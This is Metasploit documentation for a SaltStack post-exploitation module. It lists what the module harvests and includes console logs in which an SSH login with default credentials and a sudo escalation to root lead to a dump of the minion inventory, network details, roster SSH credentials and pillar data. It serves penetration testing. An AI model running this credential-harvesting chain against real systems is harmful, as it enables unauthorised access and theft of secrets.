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metasploit-gs/documentation/modules/post/multi/gather/saltstack_salt.md
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h00die 2c76671436 add windows minion file
2021-05-02 10:01:06 -04:00

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## Vulnerable Application
This module gathers data from salt stack minions and masters.
Data gathered from minions:
1. salt minion config file
Data gathered from masters:
1. minion list (denied, pre, rejected, accepted)
1. minion hostname/ip/os (depending on module settings)
1. SLS
1. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
1. minion config files
1. pillar data
## Verification Steps
1. Install salt and configure it
1. Start msfconsole
1. Get a session with permissions required (root typically)
1. Do: `use post/multi/gather/saltstack_salt`
1. Do: `set session #`
1. Do: `run`
1. You should get all the salt stack info
## Options
### GETHOSTNAME
Gather hostname from the minions. Defaults to `true`
### GETIP
Gather IP from the minions. Defaults to `true`
### GETOS
Gather OS from the minions. Defaults to `true`
### MINIONS
Which minions to gather info from. Defaults to `*` (all)
### TIMEOUT
Timeout value for running the `salt` commands. Bigger salt networks will need a bigger value. Defaults to `120`
## Scenarios
### Minion 3002.2 on Ubuntu 20.04
#### Setup
```
[*] Processing salt.rb for ERB directives.
resource (salt.rb)> use auxiliary/scanner/ssh/ssh_login
resource (salt.rb)> set username salt
username => salt
resource (salt.rb)> set password salt
password => salt
resource (salt.rb)> set rhosts 333.333.3.333
rhosts => 333.333.3.333
resource (salt.rb)> run
[+] 333.333.3.333:22 - Success: 'salt:salt' 'uid=1000(salt) gid=1000(salt) groups=1000(salt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd) Linux salt-minion 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:34863 -> 333.333.3.333:22) at 2021-04-10 12:50:12 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (salt.rb)> use post/multi/manage/sudo
resource (salt.rb)> set session 1
session => 1
resource (salt.rb)> set password salt
password => salt
resource (salt.rb)> run
[*] SUDO: Attempting to upgrade to UID 0 via sudo
[*] Sudoing with password `salt'.
[+] SUDO: Root shell secured.
[*] Post module execution completed
```
#### Module Run
```
resource (salt.rb)> use post/multi/gather/saltstack_salt
resource (salt.rb)> set session 1
session => 1
resource (salt.rb)> set verbose true
verbose => true
resource (salt.rb)> run
[!] SESSION may not be compatible with this module.
[*] Looking for salt minion config files
[+] Minion master: 444.444.4.444
[+] 333.333.3.333:22 - minion file successfully retrieved and saved on /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin
[*] Post module execution completed
msf6 post(multi/gather/saltstack_salt) > cat /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin
[*] exec: cat /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin
---
master: 444.444.4.444
```
### Minion 3003 on Windows Server 2012
```
msf6 post(multi/gather/saltstack_salt) > rexploit
[*] Reloading module...
[!] SESSION may not be compatible with this module.
[*] Looking for salt minion config files
[+] Minion master: 1.1.1.1
[+] 2.2.2.2:49299 - minion file successfully retrieved and saved to /home/h00die/.msf4/loot/20210502093836_default_2.2.2.2_saltstack_minion_337783.bin
[*] Looking for salt minion config files
[+] Minion master: 1.1.1.1
[+] 2.2.2.2:49299 - minion file successfully retrieved and saved to /home/h00die/.msf4/loot/20210502093837_default_2.2.2.2_saltstack_minion_063036.bin
[*] Post module execution completed
```
### Master 3002.2 on Ubuntu 20.04
#### Setup
```
[*] Processing salt.rb for ERB directives.
resource (salt.rb)> use auxiliary/scanner/ssh/ssh_login
resource (salt.rb)> set username salt
username => salt
resource (salt.rb)> set password salt
password => salt
resource (salt.rb)> set rhosts 444.444.4.444
rhosts => 444.444.4.444
resource (salt.rb)> run
[+] 444.444.4.444:22 - Success: 'salt:salt' 'uid=1000(salt) gid=1000(salt) groups=1000(salt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd) Linux salt-master 5.4.0-58-generic #64-Ubuntu SMP Wed Dec 9 08:16:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:35097 -> 444.444.4.444:22) at 2021-04-10 12:11:29 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (salt.rb)> use post/multi/manage/sudo
resource (salt.rb)> set session 1
session => 1
resource (salt.rb)> set password salt
password => salt
resource (salt.rb)> run
[*] SUDO: Attempting to upgrade to UID 0 via sudo
[*] Sudoing with password `salt'.
[+] SUDO: Root shell secured.
[*] Post module execution completed
```
#### Module Run
```
resource (salt.rb)> use post/multi/gather/saltstack_salt
resource (salt.rb)> set session 1
session => 1
resource (salt.rb)> set verbose true
verbose => true
resource (salt.rb)> run
[!] SESSION may not be compatible with this module.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 333.333.3.333:22 - minion file successfully retrieved and saved to /.msf4/loot/20210502081041_default_333.333.3.333_saltstack_minion_980449.bin
[+] Minions List
============
Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion
[*] Gathering data from minions (this can take some time)
[*] salt-minion:
network.get_hostname: salt-minion
network.interfaces:
ens160:
hwaddr: 00:0c:29:00:00:00
inet:
- address: 444.444.4.444
broadcast: 192.168.2.255
label: ens160
netmask: 255.255.255.0
inet6:
- address: fe80::20c:29ff:fe87:95b
prefixlen: '64'
scope: link
up: true
lo:
hwaddr: 00:00:00:00:00:00
inet:
- address: 127.0.0.1
broadcast: null
label: lo
netmask: 255.0.0.0
inet6:
- address: ::1
prefixlen: '128'
scope: host
up: true
status.version: 'Linux version 5.4.0-72-generic (buildd@lcy01-amd64-019) (gcc version
9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021'
system.get_system_info: "Traceback (most recent call last):\n File \"/usr/lib/python3/dist-packages/salt/minion.py\",
line 2083, in _thread_multi_return\n return_data = minion_instance._execute_job_function(\n
\ File \"/usr/lib/python3/dist-packages/salt/minion.py\", line 1846, in _execute_job_function\n
\ return_data = self.executors[fname](opts, data, func, args, kwargs)\n File
\"/usr/lib/python3/dist-packages/salt/executors/direct_call.py\", line 12, in
execute\n return func(*args, **kwargs)\nTypeError: 'str' object is not callable\n"
mac_minion:
network.get_hostname: h00dies-MBP.domain
network.interfaces:
awdl0:
hwaddr: ca:6a:47:00:00:00
inet6:
- address: fe80::c86a:47ff:fe4a:39d2
prefixlen: '64'
scope: '0x9'
up: true
bridge0:
hwaddr: 82:0f:16:00:00:00
up: true
en0:
hwaddr: 80:e6:50:00:00:00
inet:
- address: 222.222.2.22
broadcast: 192.168.2.255
netmask: 255.255.255.0
inet6:
- address: fe80::ef:6155:1f8b:98df
prefixlen: '64'
scope: null
up: true
en1:
hwaddr: 82:0f:16:00:00:00
up: true
en2:
hwaddr: 82:0f:16:00:00:00
up: true
gif0:
up: false
llw0:
hwaddr: ca:6a:47:00:00:00
inet6:
- address: fe80::c86a:47ff:fe4a:39d2
prefixlen: '64'
scope: '0xa'
up: true
lo0:
inet:
- address: 127.0.0.1
netmask: 255.0.0.0
inet6:
- address: ::1
prefixlen: '128'
scope: null
- address: fe80::1
prefixlen: '64'
scope: '0x1'
up: true
p2p0:
hwaddr: 02:e6:50:00:00:00
up: true
stf0:
up: false
status.version: This method is unsupported on the current operating system!
system.get_system_info: "Traceback (most recent call last):\n File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/minion.py\",
line 2099, in _thread_multi_return\n function_name, function_args, executors,
opts, data\n File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/minion.py\",
line 1861, in _execute_job_function\n return_data = self.executors[fname](opts,
data, func, args, kwargs)\n File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/loader.py\",
line 1235, in __call__\n return self.loader.run(run_func, *args, **kwargs)\n
\ File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/loader.py\",
line 2268, in run\n return self._last_context.run(self._run_as, _func_or_method,
*args, **kwargs)\n File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/loader.py\",
line 2283, in _run_as\n return _func_or_method(*args, **kwargs)\n File \"/opt/salt/lib/python3.7/site-packages/salt-3003-py3.7.egg/salt/executors/direct_call.py\",
line 12, in execute\n return func(*args, **kwargs)\nTypeError: 'str' object
is not callable\n"
window-salt-minion:
network.get_hostname: WIN-EDKFSE5QPAB
network.interfaces:
Intel(R) 82574L Gigabit Network Connection:
hwaddr: 00:0C:29:00:00:00
inet:
- address: 555.555.5.555
broadcast: 192.168.2.255
gateway: 0.0.0.0
label: Intel(R) 82574L Gigabit Network Connection
netmask: 255.255.255.0
inet6:
- address: fe80::48f2:f6fd:3dc2:a4eb
gateway: ''
up: true
Software Loopback Interface 1:
hwaddr: ':::::'
inet:
- address: 127.0.0.1
broadcast: 127.255.255.255
gateway: ''
label: Software Loopback Interface 1
netmask: 255.0.0.0
inet6:
- address: ::1
gateway: ''
up: true
status.version: "Traceback (most recent call last):\n File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\minion.py\",
line 2099, in _thread_multi_return\n function_name, function_args, executors,
opts, data\n File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\minion.py\",
line 1861, in _execute_job_function\n return_data = self.executors[fname](opts,
data, func, args, kwargs)\n File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\loader.py\",
line 1235, in __call__\n return self.loader.run(run_func, *args, **kwargs)\n
\ File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\loader.py\",
line 2268, in run\n return self._last_context.run(self._run_as, _func_or_method,
*args, **kwargs)\n File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\loader.py\",
line 2283, in _run_as\n return _func_or_method(*args, **kwargs)\n File \"c:\\salt\\bin\\lib\\site-packages\\salt-3003-py3.7.egg\\salt\\executors\\direct_call.py\",
line 12, in execute\n return func(*args, **kwargs)\nTypeError: 'str' object
is not callable\n"
system.get_system_info:
bios_caption: 'PhoenixBIOS 4.0 Release 6.0 '
bios_description: 'PhoenixBIOS 4.0 Release 6.0 '
bios_details:
- INTEL - 6040000
- 'PhoenixBIOS 4.0 Release 6.0 '
bios_manufacturer: Phoenix Technologies LTD
bios_version: INTEL - 6040000
bootup_state: Normal boot
caption: WIN-EDKFSE5QPAB
chassis_bootup_state: Safe
chassis_sku_number: null
description: ''
dns_hostname: WIN-EDKFSE5QPAB
domain: WORKGROUP
domain_role: Standalone Server
hardware_manufacturer: VMware, Inc.
hardware_model: VMware Virtual Platform
hardware_serial: VMware-56 4d 85 da 18 47 2c 63-c7 71 42 6b ab 7a c9 f1
install_date: '2019-06-18 18:28:30'
last_boot: '2021-04-30 14:21:48'
name: WIN-EDKFSE5QPAB
network_server_mode_enabled: true
organization: ''
os_architecture: 64-bit
os_manufacturer: Microsoft Corporation
os_name: Microsoft Windows Server 2012 Standard
os_type: Server
os_version: 6.2.9200
part_of_domain: false
pc_system_type: Desktop
power_state: 0
primary: true
processor_cores: 2
processor_manufacturer: GenuineIntel
processor_max_clock_speed: 2600MHz
processors: 2
processors_logical: 2
registered_user: Windows User
status: OK
system_directory: C:\Windows\system32
system_drive: 'C:'
system_type: x64-based PC
thermal_state: Safe
total_physical_memory: 4.000GB
total_physical_memory_raw: '4294430720'
users: 1
windows_directory: C:\Windows
workgroup: WORKGROUP
[+] 333.333.3.333:22 - minion data gathering successfully retrieved and saved to /.msf4/loot/20210502081051_default_333.333.3.333_saltstack_minion_337797.bin
[+] Found minion: salt-minion (444.444.4.444) - Linux version 5.4.0-72-generic (buildd@lcy01-amd64-019) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021
[+] Found minion: h00dies-MBP.domain (222.222.2.22) -
[+] Found minion: WIN-EDKFSE5QPAB (555.555.5.555) - 6.2.9200
[*] Showing SLS
[+] 333.333.3.333:22 - SLS output successfully retrieved and saved to /.msf4/loot/20210502081057_default_333.333.3.333_saltstack_sls_969146.txt
[*] Loading roster
[+] Found SSH minion: web1 (192.168.42.1)
[+] Found SSH minion: web2 (192.168.42.2)
[+] SSH key /tmp/id_rsa password hello
[-] Unable to find salt-ssh priv key /tmp/id_rsa
[+] Found SSH minion: web3 (192.168.42.3)
[-] Unable to find salt-ssh priv key /tmp/id_rsa2
[*] Looking for salt minion config files
[+] 333.333.3.333:22 - roster file successfully retrieved and saved to /.msf4/loot/20210502081101_default_333.333.3.333_saltstack_roster_292921.bin
[*] Gathering pillar data
[*] salt-minion:
info: some data
mac_minion:
info: some data
window-salt-minion:
info: some data
[+] 333.333.3.333:22 - pillar data gathering successfully retrieved and saved to /.msf4/loot/20210502081106_default_333.333.3.333_saltstack_pillar_899591.bin
[*] Post module execution completed
msf6 post(multi/gather/saltstack_salt) > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
222.222.2.22 80:e6:50:00:00:00 h00dies-MBP.domain osx SaltStack minion to 333.333.3.333
333.333.3.333 linux
444.444.4.444 00:0c:29:00:00:00 salt-minion Linux version 5.4.0-72-generic (buildd@lcy01-amd64-01 SaltStack minion to 333.333.3.333
555.555.5.555 00:0C:29:00:00:00 WIN-EDKFSE5QPAB Microsoft Windows Server 2012 Standard 6.2.9200 Server SaltStack minion to 333.333.3.333
192.168.42.1 web1 SaltStack ssh minion to 333.333.3.333
192.168.42.2 web2 Unknown device SaltStack ssh minion to 333.333.3.333
192.168.42.3 web3 SaltStack ssh minion to 333.333.3.333
```
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